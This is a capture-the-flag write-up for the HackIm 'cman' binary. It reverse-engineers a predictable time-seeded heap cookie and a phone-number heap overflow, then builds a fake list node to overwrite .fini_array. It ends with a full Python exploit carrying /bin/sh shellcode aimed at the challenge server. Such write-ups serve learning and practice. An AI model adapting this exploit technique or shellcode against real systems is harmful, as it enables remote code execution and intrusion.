Introduction

Warning: long writeup - for a TL;DR, go to the last section

In this challenge, we get to work on a 64-bit Linux binary: the contact manager cman! So far, all HackIm pwnables had an executable stack, so lets quickly check again. I recommend always checking these things at the very beginning - too often I have found myself scratching my head, trying to figure out how to exploit something, only to later see that the program was conveniently compiled with an executable stack! The checksec [1] tool is also quite handy for this.

$ readelf -a ./cman | grep -A1 GNU_STACK
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    10

Once again, the binary statically links libc and has its symbols stripped. However, most libc functions are fairly easy to guess from context. Note to self: dig out that signature matching / applying bin-diffing tool to automatically mark known libc functions properly.

Time for PRNGs

Right off the bat, the program performs something interesting:

__int64 SetGRandomOrWith80402010()
{
  __int64 result; // rax@4
  __int64 numWritten; // [sp+8h] [bp-8h]@1

  SRandSeedWithTimeFillRand(&g_RandomInt, 4uLL, &numWritten);
  if ( numWritten != 4 )
  {
    puts("Panic!");
    exit(-1u);
  }
  result = g_RandomInt | 0x80402010;
  g_RandomInt |= 0x80402010;
  return result;
}

And the SRandSeedWithTimeFillRand function is defined here:

__int64 __fastcall SRandSeedWithTimeFillRand(char *a1, unsigned __int64 len, __int64 *pWritten)
{
  unsigned int time; // eax@1
  __int64 *pWritten_; // [sp+8h] [bp-38h]@1
  int numWritten; // [sp+24h] [bp-1Ch]@1
  unsigned __int64 idx; // [sp+28h] [bp-18h]@1

  pWritten_ = pWritten;
  numWritten = 0;
  time = sys_time();
  srand_guessed(time);
  idx = 0LL;
  while ( idx < len )
  {
    a1[idx++] = rand_guessed();
    ++numWritten;
  }
  *pWritten_ = numWritten;
  return 0LL;
}

I name functions as I go along with the reverse engineering effort, so you will often see obnoxiously long function names that describe what a function does, as well as _guessed appendices for functions where I am not (yet) sure of. To verify, I replaced the argument to srand_guessed with zero and then checked the output of rand_guessed with gdb, and compared it against the output of rand.

import ctypes
libc = ctypes.cdll.LoadLibrary('libc.so.6')
libc.srand(0)
print(hex(libc.rand() & 0xffffffff))

Note: in my case, the output matched up, but even with a mismatch it could still be srand/rand with a different PRNG implementation (different libc version, ..).

So the binary initializes a global integer (in the .bss section) with some pseudorandom data, and bitwise ORs the result with 0x80402010. I am fairly certain that this operation is performed to ensure that the resulting value does not contain any zero-bytes (important later on); thanks. :)

Obviously, the pseudorandom output is trivially predictable (give or take a few seconds of networking delay). The PRNG is seeded with the current time, so at most we will have to look at our local time output plus {0,1,2,3,4} to replicate the remote PRNG state. We do not know yet what this value is used for, but it is always good to be prepared.

Lists and You

A contact manager is only useful if you have contacts. The challenge author agrees, so this is what happens next:

__int64 CreateInitialUsers()
{
  user_t *userTim;

  g_RootUser = CreateUser("Robert", "Morris", "(123)321-0987", 'M');
  userTim = CreateUser("Tim", "BL", "(123)123-1111", 'M');
  return AddUserToEndOfDoubleLinkedList(userTim);
}

Once again, bask in the glory of my naming scheme. I have not introduced the user_t structure yet, because technically we have not seen yet how contacts are defined. This information can be gathered by reversing the CreateUser function. The function is quite long, so I will not show it here. After figuring out all the parts of this function (along with some other functions that interact with such user structures), we can come up with the following definition:

#pragma pack(push, 1)
struct __attribute__((aligned(4))) user_t
{
  char firstname[64];
  char lastname[64];
  char phonenr[16];        // or size 14
  __int16 unk_set_to_4142; // == 0x4142 const
  char gender;             // 'M', 'F', 'T'
  char unk_set_to_41;      // == 0x41 const
  int heapCookie;          // random value
  int a;                   // unused
  char gap_9C[4];          // unused / alignment
  user_t *prev;            // pointer to previous user_t
  user_t *next;            // pointer to next user_t
};
#pragma pack(pop)

At first, the 0x4142 and 0x41 constants did not make any sense to me, as they were never being used after the initialization, but a bit later on it became clear that once again, the challenge author simply ensured that we do not have zero-bytes in this structure.. I think.

The CreateUser function allocates a chunk of 0xB0 bytes on the heap for this structure, and then copies the arguments (name, ..) into the heap. I could not find any bugs in this function, but it is nevertheless very important to understand exactly what it does, because it sheds light on the structure and heap layout. A few things to note:

  1. The first name must start with an uppercase letter
  2. The last name must start with an uppercase letter
  3. The phone number must have a valid format: r"(\d\d\d)\d\d\d-\d{4,6}"
  4. The heapCookie (just pretend we do not know yet what this is) value is set to the pseudorandom global integer
  5. Pointers next and prev are initially null-pointers

A pointer to the first contact (Robert) is stored in a globally accessible variable (the root node pointer), and the second contact (Tim) is then linked into the list:

__int64 __fastcall AddUserToEndOfDoubleLinkedList(user_t *newUser)
{
  __int64 result;
  user_t *user;

  if ( g_RootUser )
  {
    for ( user = g_RootUser; user->next; user = user->next )
      ;
    user->next = newUser;
    result = (__int64)newUser;
    newUser->prev = user;
  }
  else
  {
    result = (__int64)newUser;
    g_RootUser = newUser;
  }
  return result;
}

Thanks to the structure definition, reversing this function is trivial - a simple double-linked list, where new elements are appended at the end of the list. The astute reader is probably already dreading a heap-unlinking flaw somewhere that needs to be exploited.

User Interaction

So far, everything that has happened was completely devoid of any user interaction. Once the initial two users have been created, we finally get to interact with the binary. After reversing various annoying switch jumptables, we can see that it understands the following commands:

  1. A: add new contact
  2. D: delete contact
  3. E: edit contact
  4. L: list all contacts
  5. S: search contact
  6. X: exit

The commands are fairly self-explanatory. I will not go into the description of the search command and its sub-commands in great detail. We anticipate the interesting things to happend around adding, editing, deleting, and printing contacts.

Deleting a contact simply removes it from the doubly-linked list and frees up the heap memory, as expected. I did not find any bugs in that code. Likewise, the contact listing functionality simply iterates through the linked list and prints the details. This could be useful later on to leak data, if we get complete control over the user structure contents.

Adding new contacts is quite simple as well: ask the user for data (stored temporarily on the stack), then call CreateUser. The stack buffers are properly bounds checked, and the function contains a normal stack protector. After creating the user, it checks the user->heapCookie, and aborts on a mismatch. Then, the user is added to the linked list.

Finally, we come to the edit functionality:

__int64 __fastcall EditUser(user_t *user)
{
  signed __int64 v1; // rsi@0
  signed __int64 v2; // rdx@6
  signed __int64 v3; // rax@11
  __int64 result; // rax@24
  user_t *user_; // [sp+8h] [bp-68h]@1
  signed int v6; // [sp+1Ch] [bp-54h]@16
  char buf[64]; // [sp+20h] [bp-50h]@2
  __int64 cookie; // [sp+68h] [bp-8h]@1

  user_ = user;
  cookie = *MK_FP(__FS__, 40LL);
  if ( user )
  {
    puts("Updating.");
    printf("New first name: ");
    v1 = 64LL;
    ReadInputZeroTermIfDelim(buf, 64, 10);
    if ( buf[0] && !CheckFirstByteUppercase(buf) )
    {
      user = (user_t *)"Bad first name.  Stopping edit.";
      puts("Bad first name.  Stopping edit.");
      goto LABEL_24;
    }
    if ( buf[0] )
    {
      memset_guessed(user->firstname, 0, 0x40uLL);
      v2 = strlen(buf);
      memcpy(user, buf, v2);
    }
    printf("New last name: ");
    v1 = 64LL;
    ReadInputZeroTermIfDelim(buf, 64, 10);
    if ( buf[0] && !CheckFirstByteUppercase(buf) )
    {
      user = (user_t *)"Bad last name.  Stopping edit.";
      puts("Bad last name.  Stopping edit.");
      goto LABEL_24;
    }
    if ( buf[0] )
    {
      memset_guessed(user->lastname, 0, 0x40uLL);
      v3 = strlen(buf);
      memcpy(user->lastname, buf, v3);
    }
    printf("New phone number: ");
    v1 = 14LL;
    ReadInputZeroTermIfDelim(buf, 14, 10);
    if ( buf[0] && !(unsigned int)CheckPhoneNumberValid(buf) )
    {
      user = (user_t *)"Bad phone number.  Stopping edit.";
      puts("Bad phone number.  Stopping edit.");
      goto LABEL_24;
    }
    if ( buf[0] )
    {
      memset_guessed(user->phonenr, 0, 0x10uLL);
      v6 = strlen(buf);
      if ( v6 > 16 )
        v6 = 64;
      memcpy(user->phonenr, buf, v6);
    }
    printf("New gender: ");
    v1 = 2LL;
    user = (user_t *)buf;
    ReadInputZeroTermIfDelim(buf, 2, 10);
    if ( buf[0] )
      user_->gender = buf[0];
  }
  if ( user_->heapCookie != g_RandomInt )
  {
    puts("** Corruption detected. **");
    exit(0xFFFFFFFFLL);
  }
LABEL_24:
  result = *MK_FP(__FS__, 40LL) ^ cookie;
  if ( *MK_FP(__FS__, 40LL) != cookie )
    stckfail(user, v1);
  return result;
}

No stack overflows here either, however we do observe something fishy.

      v6 = strlen(buf); // phone number
      if ( v6 > 16 )
        v6 = 64;
      memcpy(user->phonenr, buf, v6);

If the phone number is larger than 16 bytes, it will copy 64 bytes into the user structure on the heap, clearly overflowing parts that follow, such as the cookie and the linked list pointers. But how can the phone number be larger than 16 bytes?

    printf("New phone number: ");
    v1 = 14LL;
    ReadInputZeroTermIfDelim(buf, 14, '\n');

The binary only reads in 14 bytes. Red herring? No, the secret is in the ReadInputZeroTermIfDelim function (as you can probably tell already by its very descriptive name). It only zero-terminates the string if the delimiter character was found. This function is reused from the previous exploitation (200pt) challenge, so likely the same challenge author.

__int64 __fastcall ReadInputZeroTermIfDelim(char *bufStart, int len, char delim)
{
  int v3; // eax@7
  char delim_; // [sp+0h] [bp-20h]@1
  int len_; // [sp+4h] [bp-1Ch]@1
  __int64 numReadMaybe; // [sp+10h] [bp-10h]@2
  __int64 buf; // [sp+18h] [bp-8h]@1

  len_ = len;
  delim_ = delim;
  for ( buf = (__int64)bufStart; ; ++buf )
  {
    v3 = len_--;
    if ( !v3 )
      break;
    receive(0, buf, 1LL, (__int64)&numReadMaybe);
    if ( !numReadMaybe )
      exit(-1);
    if ( *(_BYTE *)buf == delim_ )
    {
      *(_BYTE *)buf = 0; // null-terminate if delim encountered
      return buf - (_QWORD)bufStart;
    }
  }
  return buf - (_QWORD)bufStart;
}

The last piece to the puzzle (well, not really) is the following observation: the edit function reuses the same stack buffer buf for all inputs. First name, last name, phone number will all be placed in the same buffer! If we send a large name (e.g. 'A' * 64) followed by a 14-byte phone number without a new-line character, the phone number will not be zero-terminated. The resulting phone number on the stack will then be "(111)11-1111AAAAAA...", which is obviously longer than 16 bytes, thus triggering that fishy behavior mentioned above.

By specially crafting a long first (or last) name, we can overflow the user structure with controlled data! As visible in the edit function, the heapCookie is verified at the end. So we have to make sure that our overflow will not taint that value. We can do this by precomputing it locally and passing it along in our first name.

With control over the prev and next pointers, we know exactly what to do: classic linked list unlinking exploit with user controlled pointers resulting in a write-what-where gadget.

What Not to Do

I tried and failed for a couple of hours. Creating new users, editing and overflowing users, unlinking them, and so on. Unlinking works with properly crafted pointers, and it is even possible to set them up so they contain null-bytes by repeatedly editing them and using the terminating zero to place null-bytes at the exact positions needed, but then it always blew up in the free call: double link or corruption detected.

If you remember, the vulnerable memcpy call copies 64 bytes. The user structure at the offset of the phone number is, however, smaller than that. As a result, we are overflowing into the heap allocator book-keeping fields between heap chunks, and the modern libc really does not like that (anymore).

It may be possible to use the delete option from the search menu to perform the unlinking, because there the call to free is missing. However, even with a write-what-where gadget, we would still need to do more to get execution control. Instead, we can use a slightly different approach without unlinking operations.

Exploitation

Instead of deleting and unlinking list elements, we can also change the next pointer of the last node to point to some other memory region that satisfies the user structure criteria. By creating such a fake user node in a certain memory region, we will be able to write to that memory region using the edit command. So this is what we are going to do:

  1. Overflow the last user Tim using the vulnerable edit option
  2. Make Tim point into the .bss section (remember, RWE stack also means RWE heap/data/.bss/..)
  3. Write shellcode to a known address in the .bss section by editing this new fake node

We are still missing one crucial thing: instruction pointer control. There are certainly some function pointers in the .bss section that will be used by strcmp and so on, but there is something more convenient: .fini_array.

If we place a function pointer there (which points to our shellcode) and then exit the binary by invoking the X option, libc will call every function pointer in that array, giving us control.

There is one catch to this though: if we want to edit this fake user node, then the edit function must be able to traverse the linked list and find the node we want. The binary prompts for a first name (and last name), and then walks the linked list and calls strcmp on every first name to find the node in question.

user_t *FindUser()
{
  user_t *v0; // rsi@1
  char *v1; // rdi@1
  user_t *result; // rax@6
  user_t *i; // [sp+0h] [bp-A0h]@1
  user_t *foundUser; // [sp+8h] [bp-98h]@1
  char firstName[64]; // [sp+10h] [bp-90h]@1
  char lastName[64]; // [sp+50h] [bp-50h]@1
  __int64 v7; // [sp+98h] [bp-8h]@1

  v7 = *MK_FP(__FS__, 40LL);
  foundUser = 0LL;
  printf("First: ");
  ReadInputZeroTermIfDelim(firstName, 64, 10);
  printf("Last: ");
  v0 = (user_t *)64;
  v1 = lastName;
  ReadInputZeroTermIfDelim(lastName, 64, 10);
  for ( i = g_RootUser; i; i = i->next )
  {
    v0 = i;
    v1 = firstName;
    if ( !strcmp(firstName, i->firstname) )
    {
      foundUser = i;
      break;
    }
  }
  result = foundUser;
  if ( *MK_FP(__FS__, 40LL) != v7 )
    stckfail(v1, v0);
  return result;
}

Additionally, the edit function checks to make sure that the names start with an uppercase letter. So instead of placing the fake node directly at the start of the array, we will place it a couple of bytes in front where we find an arbitrary uppercase letter.

We can then edit our new fake contact (called "H;l"), set up the predicted heap cookie properly, use the new first name as .dtors pointer pointing into the last name shortly after. We then use the last name for our shellcode, and finally get our flag.

#!/usr/bin/env python
# @skusec

# Ugly ugly ugly PoC code, gotta go fast!

import time
import struct
import re
import os
import sys
import telnetlib
import socket
import ctypes

###############################################

class Socket(socket.socket):

    def __init__(self):
        super(Socket, self).__init__()

    def readuntil(self, s):
        buf = ''
        while s not in buf:
            buf += self.recv(1)
        return buf

###############################################

class Exploit:

    DELAY = 0
    NAPTIME = 0.5
    PHONE = '(123)123-1111'[:14]

    def __init__(self):
        self.libc = ctypes.cdll.LoadLibrary('libc.so.6')

    @staticmethod
    def sanitize(s, l):
        return (s + '\n')[:l]

    def init_randomness(self):
        # Locally this works, and the binary is statically linking to libc,
        # so the binary on the remote end will use the same PRNG algorithm.
        # Potential issues could be networking delay, so we may need to add
        # a very small number to the time(0) output.
        self.libc.srand(self.libc.time(0) + self.DELAY)
        r = ''.join(map(lambda x: chr(self.libc.rand() & 0xff), xrange(4)))
        r = struct.unpack('<I', r)[0] | 0x80402010
        self.r = r
        print('Randomness: r=%08x' % (self.r))

    def run(self):
        self.s = Socket()
        ip = '52.72.171.221'
        Exploit.DELAY = 4 # or 3
        Exploit.NAPTIME = 0.5

        self.s.connect((ip, 9983))
        self.init_randomness()
        self.s.readuntil('>> Contact Manager')

        overflow_lastname  = 'A' # must start with an uppercase letter.
        overflow_lastname += 'A' * 15 # we are building a phonenumber here really, so get another 15
        overflow_lastname += 'BA' # whatever that is.. 0x4142, aaaah so we can leak them, no 0s, ty.
        overflow_lastname += 'M' # gender
        overflow_lastname += 'A' # remove zero byte.
        overflow_lastname += struct.pack('<I', self.r) # cookie
        overflow_lastname += 'XXXXXXXX' # ??
        overflow_lastname += 'YYYYYYYY'

        # In front of .dtors array, need a location that starts with an uppercase letter.
        fake_next_ptr = 0x6c1ec8
        fake_next_ptr = struct.pack('<Q', fake_next_ptr)
        overflow_lastname += fake_next_ptr

        # F*ck you, Tim. Need a 14-char number so the overflow triggers.
        self.edit_user('Tim', 'Unused', 'Tim', overflow_lastname, self.PHONE+'11', 'M')

        # Distance to .dtors array is 32 bytes, so pad that thing.
        new_name = 'A'*32
        # The .dtors array entry will point to the lastName at +64 bytes. :)
        new_name += struct.pack('<Q', 0x6c1f08)
        shellcode = 'S' # Any uppercase latter that doesn't fuck us up is good. 'S' = push rbx.
        # Sheeeeeeeeeeeeelllll.
        shellcode += '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

        # H;l is the string at the address where we are faking a contact struct,
        # so strcmp() has to match with the user we want to edit.
        self.edit_user_fail('H;l', 'Unused', new_name, shellcode, 'sh*t', 'M')
        self.nap()
        # Cleanly exit -> cause dtors to be executed.
        self.quit()
        # Get shell.
        t = telnetlib.Telnet()
        t.sock = self.s
        # /bin/cat /flag*
        t.interact()

    def quit(self):
        self.s.sendall('X\n')

    def delete_user(self, firstName, lastName):
        self.s.sendall('D\n')
        self.s.readuntil('First:')
        self.s.sendall(Exploit.sanitize(firstName, 64))
        # Unused..
        self.s.readuntil('Last:')
        self.s.sendall(Exploit.sanitize(lastName, 64))

    def create_user(self, firstName, lastName, phone, gender):
        self.s.sendall('A\n')
        self.s.readuntil('First:')
        self.s.sendall(Exploit.sanitize(firstName, 64))
        self.s.readuntil('Last:')
        self.s.sendall(Exploit.sanitize(lastName, 64))
        self.s.readuntil('Number:')
        self.s.sendall(Exploit.sanitize(phone, 14))
        self.s.readuntil('Gender:')
        self.s.sendall(Exploit.sanitize(gender, 2))

    def edit_user_fail(self, firstName, lastName, firstNameNew, lastNameNew, phoneNew, genderNew):
        self.s.sendall('E\n')
        self.s.readuntil('First:')
        self.s.sendall(Exploit.sanitize(firstName, 64))
        # Last name is not actually used in lookup, only strcmp on the first name..
        self.s.readuntil('Last:')
        self.s.sendall(Exploit.sanitize(lastName, 64))
        self.s.readuntil('Updating.')
        self.s.readuntil('name:')
        self.s.sendall(Exploit.sanitize(firstNameNew, 64))
        self.s.readuntil('name:')
        self.s.sendall(Exploit.sanitize(lastNameNew, 64))
        self.s.readuntil('number:')
        # If we send exactly 14 here, it will not be null-terminated, and it's in the same buffer
        # as the firstNameNew/lastNameNew, so strlen(..) can be larger. If it is larger than
        # 16, the program will set it to 64 no matter what -> overflow of the phoneNumber.
        self.s.sendall(Exploit.sanitize(phoneNew, 14))
        # The phone number used here does not conform with the expected format, so the function
        # will bail.
        pass

    def edit_user(self, firstName, lastName, firstNameNew, lastNameNew, phoneNew, genderNew):
        self.s.sendall('E\n')
        self.s.readuntil('First:')
        self.s.sendall(Exploit.sanitize(firstName, 64))
        # Last name is not actually used in lookup, only strcmp on the first name..
        self.s.readuntil('Last:')
        self.s.sendall(Exploit.sanitize(lastName, 64))
        self.s.readuntil('Updating.')
        self.s.readuntil('name:')
        self.s.sendall(Exploit.sanitize(firstNameNew, 64))
        self.s.readuntil('name:')
        self.s.sendall(Exploit.sanitize(lastNameNew, 64))
        self.s.readuntil('number:')
        # If we send exactly 14 here, it will not be null-terminated, and it's in the same buffer
        # as the firstNameNew/lastNameNew, so strlen(..) can be larger. If it is larger than
        # 16, the program will set it to 64 no matter what -> overflow of the phoneNumber.
        self.s.sendall(Exploit.sanitize(phoneNew, 14))
        self.s.readuntil('gender:')
        self.s.sendall(Exploit.sanitize(genderNew, 2))

    def print_list(self):
        self.s.sendall('L\n')
        self.nap(t=0.5)
        return self.s.recv(1024)

    def wait(self):
        raw_input('ENTER TO CONTINUE')

    def nap(self, t=None):
        if t is None:
            t = Exploit.NAPTIME
        time.sleep(t)

e = Exploit()
e.run()
# flag-{h34pp1es-g3771ng-th3r3}

Refernces

[1] http://www.trapkit.de/tools/checksec.html